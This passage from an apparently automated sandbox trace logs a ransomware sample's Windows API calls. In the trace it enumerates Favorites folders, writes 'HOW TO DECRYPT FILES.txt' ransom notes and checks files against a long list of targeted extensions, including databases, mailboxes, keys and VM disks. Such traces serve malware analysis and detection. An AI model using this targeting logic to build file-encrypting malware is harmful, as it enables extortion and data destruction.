HALPmcxz\\Favorites\\Links\\" [0090.148] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="" [0090.148] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" [0090.148] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to decrypt files.txt")) returned 0x20 [0090.149] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="Web Slice Gallery.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" [0090.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", pszSpec="*.ems") returned 0 [0090.149] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0090.149] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.149] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0090.149] lstrcmpA (lpString1=".", lpString2="Microsoft Websites") returned -1 [0090.149] lstrcmpA (lpString1="..", lpString2="Microsoft Websites") returned -1 [0090.149] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*") returned="*.*" [0090.150] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="Microsoft Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0090.150] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.153] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.153] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.153] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.153] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.153] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0090.153] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IE Add-on site.url") returned -1 [0090.153] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IE Add-on site.url") returned -1 [0090.153] lstrcmpiA (lpString1="", lpString2="IE Add-on site.url") returned -1 [0090.153] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*") returned="*.*" [0090.153] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0090.153] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="" [0090.153] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" [0090.153] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt")) returned 0xffffffff [0090.154] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.157] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.157] CloseHandle (hObject=0x8c) returned 1 [0090.157] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="IE Add-on site.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.ems") returned 0 [0090.157] lstrlenA (lpString="*.ems") returned 5 [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.db") returned 0 [0090.157] lstrlenA (lpString="*.db") returned 4 [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.dbf") returned 0 [0090.157] lstrlenA (lpString="*.dbf") returned 5 [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.myox") returned 0 [0090.157] lstrlenA (lpString="*.myox") returned 6 [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.myo") returned 0 [0090.157] lstrlenA (lpString="*.myo") returned 5 [0090.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbw") returned 0 [0090.158] lstrlenA (lpString="*.qbw") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbb") returned 0 [0090.158] lstrlenA (lpString="*.qbb") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbm") returned 0 [0090.158] lstrlenA (lpString="*.qbm") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbo") returned 0 [0090.158] lstrlenA (lpString="*.qbo") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbx") returned 0 [0090.158] lstrlenA (lpString="*.qbx") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qba") returned 0 [0090.158] lstrlenA (lpString="*.qba") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qby") returned 0 [0090.158] lstrlenA (lpString="*.qby") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qbj") returned 0 [0090.158] lstrlenA (lpString="*.qbj") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.ofx") returned 0 [0090.158] lstrlenA (lpString="*.ofx") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.qif") returned 0 [0090.158] lstrlenA (lpString="*.qif") returned 5 [0090.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mye") returned 0 [0090.159] lstrlenA (lpString="*.mye") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mbox") returned 0 [0090.159] lstrlenA (lpString="*.mbox") returned 6 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.eml") returned 0 [0090.159] lstrlenA (lpString="*.eml") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.pst") returned 0 [0090.159] lstrlenA (lpString="*.pst") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.ost") returned 0 [0090.159] lstrlenA (lpString="*.ost") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.idx") returned 0 [0090.159] lstrlenA (lpString="*.idx") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.dbx") returned 0 [0090.159] lstrlenA (lpString="*.dbx") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.sql") returned 0 [0090.159] lstrlenA (lpString="*.sql") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mdb") returned 0 [0090.159] lstrlenA (lpString="*.mdb") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.fdb") returned 0 [0090.159] lstrlenA (lpString="*.fdb") returned 5 [0090.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.wab") returned 0 [0090.159] lstrlenA (lpString="*.wab") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.dat") returned 0 [0090.160] lstrlenA (lpString="*.dat") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.txt") returned 0 [0090.160] lstrlenA (lpString="*.txt") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.jpeg") returned 0 [0090.160] lstrlenA (lpString="*.jpeg") returned 6 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.jpg") returned 0 [0090.160] lstrlenA (lpString="*.jpg") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.png") returned 0 [0090.160] lstrlenA (lpString="*.png") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.php") returned 0 [0090.160] lstrlenA (lpString="*.php") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.cs") returned 0 [0090.160] lstrlenA (lpString="*.cs") returned 4 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.cpp") returned 0 [0090.160] lstrlenA (lpString="*.cpp") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.rar") returned 0 [0090.160] lstrlenA (lpString="*.rar") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.zip") returned 0 [0090.160] lstrlenA (lpString="*.zip") returned 5 [0090.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.html") returned 0 [0090.161] lstrlenA (lpString="*.html") returned 6 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.htm") returned 0 [0090.161] lstrlenA (lpString="*.htm") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.xlsx") returned 0 [0090.161] lstrlenA (lpString="*.xlsx") returned 6 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.xls") returned 0 [0090.161] lstrlenA (lpString="*.xls") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mp4") returned 0 [0090.161] lstrlenA (lpString="*.mp4") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.ppt") returned 0 [0090.161] lstrlenA (lpString="*.ppt") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.pptx") returned 0 [0090.161] lstrlenA (lpString="*.pptx") returned 6 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.doc") returned 0 [0090.161] lstrlenA (lpString="*.doc") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.dot") returned 0 [0090.161] lstrlenA (lpString="*.dot") returned 5 [0090.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.docx") returned 0 [0090.162] lstrlenA (lpString="*.docx") returned 6 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.7z") returned 0 [0090.162] lstrlenA (lpString="*.7z") returned 4 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.tar") returned 0 [0090.162] lstrlenA (lpString="*.tar") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.bz2") returned 0 [0090.162] lstrlenA (lpString="*.bz2") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.gz") returned 0 [0090.162] lstrlenA (lpString="*.gz") returned 4 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mkv") returned 0 [0090.162] lstrlenA (lpString="*.mkv") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.eml") returned 0 [0090.162] lstrlenA (lpString="*.eml") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.msg") returned 0 [0090.162] lstrlenA (lpString="*.msg") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.edb") returned 0 [0090.162] lstrlenA (lpString="*.edb") returned 5 [0090.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.accdb") returned 0 [0090.162] lstrlenA (lpString="*.accdb") returned 7 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.odb") returned 0 [0090.163] lstrlenA (lpString="*.odb") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.java") returned 0 [0090.163] lstrlenA (lpString="*.java") returned 6 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.asm") returned 0 [0090.163] lstrlenA (lpString="*.asm") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.pfx") returned 0 [0090.163] lstrlenA (lpString="*.pfx") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.pem") returned 0 [0090.163] lstrlenA (lpString="*.pem") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.p12") returned 0 [0090.163] lstrlenA (lpString="*.p12") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.gpg") returned 0 [0090.163] lstrlenA (lpString="*.gpg") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.vsd") returned 0 [0090.163] lstrlenA (lpString="*.vsd") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.odg") returned 0 [0090.163] lstrlenA (lpString="*.odg") returned 5 [0090.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.raw") returned 0 [0090.164] lstrlenA (lpString="*.raw") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.nef") returned 0 [0090.164] lstrlenA (lpString="*.nef") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.svg") returned 0 [0090.164] lstrlenA (lpString="*.svg") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.psd") returned 0 [0090.164] lstrlenA (lpString="*.psd") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.vmx") returned 0 [0090.164] lstrlenA (lpString="*.vmx") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.vmdk") returned 0 [0090.164] lstrlenA (lpString="*.vmdk") returned 6 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.vdi") returned 0 [0090.164] lstrlenA (lpString="*.vdi") returned 5 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.lay6") returned 0 [0090.164] lstrlenA (lpString="*.lay6") returned 6 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mpeg") returned 0 [0090.164] lstrlenA (lpString="*.mpeg") returned 6 [0090.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.djvu") returned 0 [0090.164] lstrlenA (lpString="*.djvu") returned 6 [0090.165] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.tiff") returned 0 [0090.165] lstrlenA (lpString="*.tiff") returned 6 [0090.165] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.backup") returned 0 [0090.165] lstrlenA (lpString="*.backup") returned 8 [0090.165] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.pdf") returned 0 [0090.165] lstrlenA (lpString="*.pdf") returned 5 [0090.165] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.cert") returned 0 [0090.165] lstrlenA (lpString="*.cert") returned 6 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.docm") returned 0 [0090.166] lstrlenA (lpString="*.docm") returned 6 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.xlsm") returned 0 [0090.166] lstrlenA (lpString="*.xlsm") returned 6 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.dwg") returned 0 [0090.166] lstrlenA (lpString="*.dwg") returned 5 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.nd") returned 0 [0090.166] lstrlenA (lpString="*.nd") returned 4 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.tlg") returned 0 [0090.166] lstrlenA (lpString="*.tlg") returned 5 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.lgb") returned 0 [0090.166] lstrlenA (lpString="*.lgb") returned 5 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mov") returned 0 [0090.166] lstrlenA (lpString="*.mov") returned 5 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.xdw") returned 0 [0090.166] lstrlenA (lpString="*.xdw") returned 5 [0090.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.ods") returned 0 [0090.166] lstrlenA (lpString="*.ods") returned 5 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.wav") returned 0 [0090.167] lstrlenA (lpString="*.wav") returned 5 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.mp3") returned 0 [0090.167] lstrlenA 